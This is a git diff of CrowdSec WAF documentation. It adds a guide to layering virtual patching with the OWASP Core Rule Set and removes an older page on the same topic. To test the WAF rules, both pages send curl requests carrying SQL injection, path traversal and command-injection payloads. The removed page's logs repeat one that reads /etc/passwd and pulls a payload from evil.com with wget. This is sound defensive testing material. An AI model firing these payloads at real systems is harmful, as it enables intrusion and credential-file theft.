diff --git a/crowdsec-docs/docs/appsec/advanced_deployments.mdx b/crowdsec-docs/docs/appsec/advanced_deployments.mdx
new file mode 100644
index 00000000..ba30b40f
--- /dev/null
+++ b/crowdsec-docs/docs/appsec/advanced_deployments.mdx
@@ -0,0 +1,265 @@
+---
+id: advanced_deployments
+title: Advanced WAF Deployments
+sidebar_position: 6
+---
+
+# Advanced WAF Deployments
+
+This guide covers advanced CrowdSec WAF deployment strategies for organizations looking to gradually enhance their web application security posture. Learn how to progressively improve your WAF configuration from basic virtual patching to comprehensive multi-layer protection.
+
+:::info Prerequisites
+This guide assumes you have completed the [General Setup](/appsec/quickstart/general.mdx) and have a functional basic WAF deployment.
+:::
+
+## About OWASP Core Rule Set (CRS)
+
+The **OWASP Core Rule Set (CRS)** is a set of generic attack detection rules for use with ModSec-compatible web application firewalls. CRS aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with minimal false positives.
+
+**Key features of OWASP CRS:**
+- **Comprehensive Coverage**: Protects against SQL injection, XSS, command injection, path traversal, and many other attack types
+- **Generic Detection**: Uses pattern-based rules that detect attack techniques rather than specific exploits
+- **Mature Ruleset**: Actively maintained by the OWASP community with regular updates
+- **Configurable Sensitivity**: Supports paranoia levels to balance security vs false positives
+- **Wide Compatibility**: Works with various WAF engines including CrowdSec's AppSec component
+
+**CRS vs Virtual Patching:**
+- **Virtual Patching**: Targets specific known vulnerabilities (CVEs) with minimal false positives
+- **CRS**: Provides broad attack pattern detection with comprehensive coverage but may require tuning
+
+In CrowdSec, CRS rules can be deployed in two modes:
+- **Out-of-band**: Analyzes traffic without blocking, triggers bans after multiple violations
+- **In-band**: Blocks malicious requests immediately at detection time
+
+## Security Enhancement Path
+
+CrowdSec WAF supports multiple deployment strategies that can be implemented progressively:
+
+### 1. Basic Virtual Patching (Quickstart)
+**Current State**: Blocking protection against known CVEs
+- Collections: [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching)
+- Mode: In-band (blocking)
+- Coverage: Known vulnerabilities only
+- False Positives: Minimal
+
+### 2. Enhanced Detection (Out-of-band CRS)
+**Next Step**: Add comprehensive attack detection without performance impact
+- Add: [`crowdsecurity/appsec-crs-inband`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs-inband) (out-of-band) alongside existing virtual patching
+- Mode: Non-blocking analysis + behavioral banning
+- Coverage: OWASP Top 10 + comprehensive attack patterns + specific CVE protection
+- Performance: No latency impact ⚡
+- Security: Layered approach - virtual patching + generic attack detection
+
+### 3. Maximum Protection (In-band CRS)
+**Advanced**: Full blocking protection with comprehensive coverage
+- Modify: Use [`crowdsecurity/appsec-crs-inband`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs-inband) for blocking CRS while keeping virtual patching
+- Mode: Immediate blocking of all detected attacks (both generic and CVE-specific)
+- Coverage: Maximum protection with instant response 🛡️
+- Security: Dual-layer blocking - virtual patching handles specific vulnerabilities, CRS covers generic attack patterns
+- Consideration: Might require tuning to minimize false positives
+
+## Implementation Guide
+
+### Step 2: Adding Out-of-band CRS
+
+Enhance your existing virtual patching deployment by adding comprehensive attack detection as an additional security layer:
+
+```bash title="Install CRS collection"
+sudo cscli collections install crowdsecurity/appsec-crs
+```
+
+The [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) collection includes:
+- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode
+- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations
+
+Update your WAF acquisition configuration to include both rule sets:
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking)
+ - crowdsecurity/crs # OWASP CRS rules (out-of-band detection)
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+name: myAppSecComponent
+```
+
+```bash title="Restart CrowdSec"
+sudo systemctl restart crowdsec
+```
+
+**Benefits of this layered configuration:**
+- **Layer 1**: Immediate protection against known vulnerabilities (virtual patching)
+- **Layer 2**: Comprehensive attack pattern detection (CRS out-of-band)
+- **Complementary Coverage**: Virtual patching rules catch specific CVEs that CRS generic rules might miss
+- Behavioral analysis and repeat offender banning
+- No performance impact on legitimate traffic
+
+#### How to Test Step 2: Out-of-band CRS Detection
+
+After implementing the layered configuration, verify both protection layers are working correctly:
+
+**Test 1: Virtual Patching Layer (Immediate Blocking)**
+
+Test that virtual patching rules block requests immediately by trying to access sensitive files:
+
+```bash
+# Test .env file access (common vulnerability)
+curl -v "http://your-app.com/.env"
+curl -v "http://your-app.com/api/../.env"
+```
+
+Expected result: These requests should be immediately blocked with HTTP 403 Forbidden.
+
+**Test 2: CRS Out-of-band Detection Layer**
+
+The `crowdsecurity/crs` collection brings general detection for OWASP top10 attacks, which can be tested:
+
+```bash
+# Replace with your application URL
+TARGET="http://your-app.com"
+
+# SQL injection attempts (trigger multiple CRS rules)
+curl "$TARGET/?id=1'+OR+'1'='1"
+```
+
+Expected results:
+
+- Detailed Alert is created (see `cscli alerts list`)
+
+
+ `cscli alerts list` output
+
+```yaml
++-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+
+| ID | value | reason | country | as | decisions | created_at |
++-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+
+| 62419 | Ip:xxx.xx.xx.xx | anomaly score out-of-band: sql_injection: 10, anomaly: 10, | FR | 5410 Bouygues Telecom SA | | 2025-09-09T14:41:07Z |
+...
+```
+
+
+
+- Detailed Alert is visible in console
+
+
+ Alert Console view
+
+
+
+**Test 3: Verify Scenario Behavior**
+
+The `crowdsecurity/crowdsec-appsec-outofband` scenario will ban IPs triggering the CRS on more than 5 distinct requests on a short period, which can be tested:
+
+```bash
+for i in {1..6}; do curl "$TARGET/?id=1'+OR+'1'='1"; done
+```
+
+
+Expected results:
+
+- Alerts are created for each request
+- Decision is created by the 6th request
+
+
+ `cscli alerts list` output
+
+```yaml
+───────┬────────────────────┬──────────────────────────────────────────────────────────────┬─────────┬──────────────────────────────┬───────────┬──────────────────────╮
+│ ID │ value │ reason │ country │ as │ decisions │ created_at │
+├───────┼────────────────────┼──────────────────────────────────────────────────────────────┼─────────┼──────────────────────────────┼───────────┼──────────────────────┤
+│ 62427 │ Ip:xxx.xx.xx.xx │ crowdsecurity/crowdsec-appsec-outofband │ FR │ 5410 Bouygues Telecom SA │ ban:1 │ 2025-09-09T14:51:11Z │
+│ 62426 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:12Z │
+│ 62425 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │
+│ 62424 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │
+│ 62423 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │
+│ 62422 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │
+│ 62421 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │
+
+```
+
+
+### Step 3: CRS In-band (Blocking Mode)
+
+For organizations requiring maximum protection, configure CRS rules to block requests immediately by installing the in-band CRS collection:
+
+```bash title="Install CRS in-band collection"
+sudo cscli collections install crowdsecurity/appsec-crs-inband
+```
+
+#### Update Acquisition Configuration
+
+Modify your acquisition to use the in-band CRS configuration:
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking)
+ - crowdsecurity/crs-inband # OWASP CRS rules (in-band blocking)
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+name: myAppSecComponent
+```
+
+```bash title="Restart CrowdSec"
+sudo systemctl restart crowdsec
+```
+
+#### How to Test Step 3: CRS In-band Blocking
+
+After configuring CRS for in-band (blocking) mode, test that both virtual patching and CRS rules provide immediate blocking:
+
+**Test 1: Virtual Patching Layer (Still Blocking)**
+
+Verify virtual patching continues to work:
+
+```bash
+# These should still be immediately blocked
+curl -v "http://your-app.com/.env"
+```
+
+Expected result: HTTP 403 Forbidden immediately.
+
+**Test 2: CRS In-band Blocking**
+
+Test that CRS rules now block requests immediately (no more out-of-band delay):
+
+```bash
+TARGET="http://your-app.com"
+
+# SQL injection - should be blocked immediately
+curl -v "$TARGET/?id=1' OR '1'='1"
+
+# XSS - should be blocked immediately
+curl -v "$TARGET/?q="
+
+# Command injection - should be blocked immediately
+curl -v "$TARGET/?cmd=; cat /etc/passwd"
+
+# Path traversal - should be blocked immediately
+curl -v "$TARGET/?file=../../../etc/passwd"
+```
+
+**Expected behavior:**
+- **All requests above**: Immediately blocked with HTTP 403 Forbidden
+- **No delay**: Unlike out-of-band mode, blocking is instant
+- **Dual protection**: Both virtual patching AND CRS rules provide immediate blocking
+
+:::warning Important Considerations
+In-band CRS blocking provides maximum protection but requires:
+- **Thorough testing** in a staging environment
+- **Gradual rollout** to production traffic
+- **Monitoring and tuning** to prevent blocking legitimate requests
+- **Whitelisting capabilities** for false positives
+:::
+
+## Next Steps
+
+Once you've implemented advanced deployments:
+
+- Configure [Custom Rules](/appsec/create_rules.md) for application-specific protection
+- Set up [Hooks](/appsec/hooks.md) for custom response actions
+- Explore [Configuration Options](/appsec/configuration.md) for fine-tuning
+- Review [Troubleshooting Guide](/appsec/troubleshooting.md) for operational issues
diff --git a/crowdsec-docs/docs/appsec/quickstart/general.mdx b/crowdsec-docs/docs/appsec/quickstart/general.mdx
index 85f0ee92..365a8186 100644
--- a/crowdsec-docs/docs/appsec/quickstart/general.mdx
+++ b/crowdsec-docs/docs/appsec/quickstart/general.mdx
@@ -54,7 +54,8 @@ Configure CrowdSec to expose the AppSec Component by creating an acquisition fil
2. Create the AppSec acquisition configuration:
```bash
sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF
- appsec_config: crowdsecurity/appsec-default
+ appsec_configs:
+ - crowdsecurity/appsec-default
labels:
type: appsec
listen_addr: 127.0.0.1:7422
diff --git a/crowdsec-docs/docs/appsec/vpatch_crs.md b/crowdsec-docs/docs/appsec/vpatch_crs.md
deleted file mode 100644
index e8bb9bc0..00000000
--- a/crowdsec-docs/docs/appsec/vpatch_crs.md
+++ /dev/null
@@ -1,324 +0,0 @@
----
-id: vpatch_and_crs
-title: Virtual Patching + OWASP CRS
-sidebar_position: 5
----
-
-## Overview
-
-This guide shows how to deploy both CrowdSec's virtual patching rules and [OWASP Core Rule Set (CRS)](https://coreruleset.org/) together for comprehensive web application protection. CrowdSec's Virtual Patching rules will always be configured as blocking rules, while OWASP CRS can be configured in blocking or non-blocking rules.
-
-### OWASP Core Rule Set
-
-The OWASP CRS is a set of generic attack detection rules that aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides protection against many common attack categories, including SQL Injection, Cross Site Scripting, Local File Inclusion, etc.
-
-### CrowdSec Virtual Patching Rules
-
-CrowdSec produces virtual patching rules for new (and sometime old) vulnerabilities that we see as having traction in the wild. While Virtual Patching rules doesn't offer a generic protection (as CRS might do) they do target specific vulnerabilities and offer nearly zero false positive chance.
-
-## Objective
-
-OWASP CRS can be integrated in various fashion with CrowdSec's WAF:
- - **Non Blocking** will not block requests that trigger CRS, however, repeating offenders will get banned.
- - **Blocking** will block any and all requests that trigger CRS, and ban repeating offenders.
-
-:::info
-This documentation assumes that you already have a Basic WAF setup with CrowdSec Security Engine.
-:::
-
-
-## OWASP Core Rule Set - Non-Blocking
-
-### Install Required Collections
-
-Install both the virtual patching and CRS collections:
-
-```bash title="Install virtual patching rules (in-band blocking)"
-cscli collections install crowdsecurity/appsec-virtual-patching
-```
-
-```bash title="Install OWASP CRS rules (out-of-band detection + scenario)
-cscli collections install crowdsecurity/appsec-crs
-```
-
-### Configure AppSec
-
-Update your AppSec acquisition configuration:
-
-```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
-appsec_configs:
- - crowdsecurity/appsec-default # Virtual patching rules (in-band)
- - crowdsecurity/crs # OWASP CRS rules (out-of-band)
-labels:
- type: appsec
-listen_addr: 127.0.0.1:7422
-source: appsec
-```
-
-### Restart CrowdSec
-
-```bash
-sudo systemctl restart crowdsec
-```
-
-## How It Works
-
-### Two-Layer Protection
-
-**Layer 1 - Virtual Patching (In-band)**:
-- Rules from `crowdsecurity/appsec-default`
-- Evaluated synchronously before request proceeds
-- Blocks known exploits immediately
-- High-confidence, low false-positive rules
-
-**Layer 2 - OWASP CRS (Out-of-band)**:
-- Full ModSecurity Core Rule Set from `crowdsecurity/crs`
-- Evaluated asynchronously after request is processed
-- Comprehensive attack detection and analysis
-- No impact on request response time
-
-### CRS Out-of-Band Processing
-
-OWASP CRS rules are loaded as out-of-band rules, which means:
-
-1. **No Performance Impact**: CRS evaluation happens after the web server has already responded
-2. **Comprehensive Detection**: Full rule set can detect complex attack patterns
-3. **Event Generation**: Matches generate events for CrowdSec's scenario system
-4. **Behavioral Analysis**: The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors patterns and bans repeat offenders
-
-### Scenario Integration
-
-The `crowdsecurity/appsec-crs` collection includes:
-- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode
-- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations
-
-## Verification
-
-### Check Installation
-
-Verify that both configurations are loaded:
-
-```bash title="Check AppSec configurations"
-cscli appsec-configs list
-```
-Should show:
-- crowdsecurity/appsec-default
-- crowdsecurity/crs
-
-```bash title="Check scenarios"
-cscli scenarios list | grep appsec
-```
-Should show:
-- crowdsecurity/crowdsec-appsec-outofband
-
-### Check AppSec Status
-
-```bash title="Check that AppSec is running"
-cscli metrics
-```
-*Look for appsec metrics in the output*
-
-## Testing - CrowdSec Vpatch
-
-If CrowdSec vpatch rules are properly enabled, the following request should return a 403:
-
-```bash
-TARGET=localhost
-curl -I ${TARGET}'/.env'
-```
-
-
-## Testing - OWASP CRS
-
-:::warning
-Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS.
-Don't lock yourself out if CrowdSec or any other security rule processor applies a ban uppon the following:
-:::
-
-```bash
-TARGET=localhost
-curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
-curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
-curl -I ${TARGET}'/?x=A"'
-curl -I ${TARGET}'/?x=A"'
-curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
-curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
-```
-
-Uppon triggering those, you should see in CrowdSec logs:
-
-```bash
-time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC"
-time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx"
-```
-
-Further requests to the webserver should return 403:
-
-```bash
-$ curl -I ${TARGET}
-HTTP/1.1 403 Forbidden
-```
-
-## Alert Inspection
-
-You can inspect the alert to better see what URLs or payloads triggered the rules:
-
-```bash
-# cscli alerts list
-╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮
-│ ID │ value │ reason │ country │ as │ decisions │ created_at │
-├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤
-│ 2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │
-...
-```
-
-```bash
-# cscli alerts inspect -d 2172
-
-################################################################################################
-
- - ID : 2172
- - Date : 2025-08-22T09:39:51Z
- - Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab
- - Simulation : false
- - Remediation : true
- - Reason : crowdsecurity/crowdsec-appsec-outofband
- - Events Count : 6
- - Scope:Value : Ip:xxx
- - Country :
- - AS :
- - Begin : 2025-08-22T09:39:50Z
- - End : 2025-08-22T09:39:50Z
- - UUID : a0ad365a-ef08-4c18-af80-20cc02625c35
-
-╭─────────────────────────────────────────────────────────────────────╮
-│ Active Decisions │
-├──────────┬─────────────┬────────┬────────────┬──────────────────────┤
-│ ID │ scope:value │ action │ expiration │ created_at │
-├──────────┼─────────────┼────────┼────────────┼──────────────────────┤
-│ 19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │
-╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯
-
- - Context :
-╭────────────┬─────────────────────────────────────────────────────╮
-│ Key │ Value │
-├────────────┼─────────────────────────────────────────────────────┤
-│ rules │ native_rule:901340 │
-│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
-│ target_uri │ /?x=A" │
-│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
-╰────────────┴─────────────────────────────────────────────────────╯
-
- - Events :
-
-- Date: 2025-08-22 09:39:50.326505724 +0000 UTC
-╭─────────────────────┬──────────────────────────────────────────────────────────────╮
-│ Key │ Value │
-├─────────────────────┼──────────────────────────────────────────────────────────────┤
-│ datasource_path │ appsec │
-│ datasource_type │ appsec │
-│ log_type │ appsec-info │
-│ remediation_cmpt_ip │ 127.0.0.1 │
-│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │
-│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
-│ │ 980170] │
-│ rule_name │ native_rule:901340 │
-│ service │ appsec │
-│ source_ip │ xxx │
-│ target_host │ localhost │
-│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
-╰─────────────────────┴──────────────────────────────────────────────────────────────╯
-
-- Date: 2025-08-22 09:39:50.33919196 +0000 UTC
-╭─────────────────────┬──────────────────────────────────────────────────────────────╮
-│ Key │ Value │
-├─────────────────────┼──────────────────────────────────────────────────────────────┤
-│ datasource_path │ appsec │
-│ datasource_type │ appsec │
-│ log_type │ appsec-info │
-│ remediation_cmpt_ip │ 127.0.0.1 │
-│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │
-│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
-│ │ 980170] │
-│ rule_name │ native_rule:901340 │
-│ service │ appsec │
-│ source_ip │ xxx │
-│ target_host │ localhost │
-│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
-╰─────────────────────┴──────────────────────────────────────────────────────────────╯
-
-- Date: 2025-08-22 09:39:50.352001523 +0000 UTC
-╭─────────────────────┬───────────────────────────────────────────────────────────╮
-│ Key │ Value │
-├─────────────────────┼───────────────────────────────────────────────────────────┤
-│ datasource_path │ appsec │
-│ datasource_type │ appsec │
-│ log_type │ appsec-info │
-│ remediation_cmpt_ip │ 127.0.0.1 │
-│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │
-│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
-│ rule_name │ native_rule:901340 │
-│ service │ appsec │
-│ source_ip │ xxx │
-│ target_host │ localhost │
-│ target_uri │ /?x=A" │
-╰─────────────────────┴───────────────────────────────────────────────────────────╯
-
-- Date: 2025-08-22 09:39:50.365872595 +0000 UTC
-╭─────────────────────┬───────────────────────────────────────────────────────────╮
-│ Key │ Value │
-├─────────────────────┼───────────────────────────────────────────────────────────┤
-│ datasource_path │ appsec │
-│ datasource_type │ appsec │
-│ log_type │ appsec-info │
-│ remediation_cmpt_ip │ 127.0.0.1 │
-│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │
-│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
-│ rule_name │ native_rule:901340 │
-│ service │ appsec │
-│ source_ip │ xxx │
-│ target_host │ localhost │
-│ target_uri │ /?x=A" │
-╰─────────────────────┴───────────────────────────────────────────────────────────╯
-
-- Date: 2025-08-22 09:39:50.378905387 +0000 UTC
-╭─────────────────────┬───────────────────────────────────────────────╮
-│ Key │ Value │
-├─────────────────────┼───────────────────────────────────────────────┤
-│ datasource_path │ appsec │
-│ datasource_type │ appsec │
-│ log_type │ appsec-info │
-│ remediation_cmpt_ip │ 127.0.0.1 │
-│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │
-│ rule_ids │ [901340 942100 942190 949110 980170] │
-│ rule_name │ native_rule:901340 │
-│ service │ appsec │
-│ source_ip │ xxx │
-│ target_host │ localhost │
-│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
-╰─────────────────────┴───────────────────────────────────────────────╯
-
-- Date: 2025-08-22 09:39:50.392514386 +0000 UTC
-╭─────────────────────┬───────────────────────────────────────────────╮
-│ Key │ Value │
-├─────────────────────┼───────────────────────────────────────────────┤
-│ datasource_path │ appsec │
-│ datasource_type │ appsec │
-│ log_type │ appsec-info │
-│ remediation_cmpt_ip │ 127.0.0.1 │
-│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │
-│ rule_ids │ [901340 942100 942190 949110 980170] │
-│ rule_name │ native_rule:901340 │
-│ service │ appsec │
-│ source_ip │ xxx │
-│ target_host │ localhost │
-│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
-╰─────────────────────┴───────────────────────────────────────────────╯
-
-```
-
-## Next Steps
-
-- Learn about [AppSec Configuration options](/appsec/configuration.md)
-- Understand [AppSec Hooks](/appsec/hooks.md) for customization
-- Explore [Rule Syntax](/appsec/rules_syntax.md) for custom rules
\ No newline at end of file
diff --git a/crowdsec-docs/sidebars.ts b/crowdsec-docs/sidebars.ts
index 48e59470..72cb5096 100644
--- a/crowdsec-docs/sidebars.ts
+++ b/crowdsec-docs/sidebars.ts
@@ -728,7 +728,7 @@ const sidebarsConfig: SidebarConfig = {
label: "Configuration",
items: [
{ type: "doc", id: "appsec/configuration" },
- { type: "doc", id: "appsec/vpatch_and_crs" },
+ { type: "doc", id: "appsec/advanced_deployments" },
{ type: "doc", id: "appsec/alerts_and_scenarios" },
],
},
diff --git a/crowdsec-docs/static/img/console-appsec-oob.png b/crowdsec-docs/static/img/console-appsec-oob.png
new file mode 100644
index 00000000..73d0e00c
Binary files /dev/null and b/crowdsec-docs/static/img/console-appsec-oob.png differ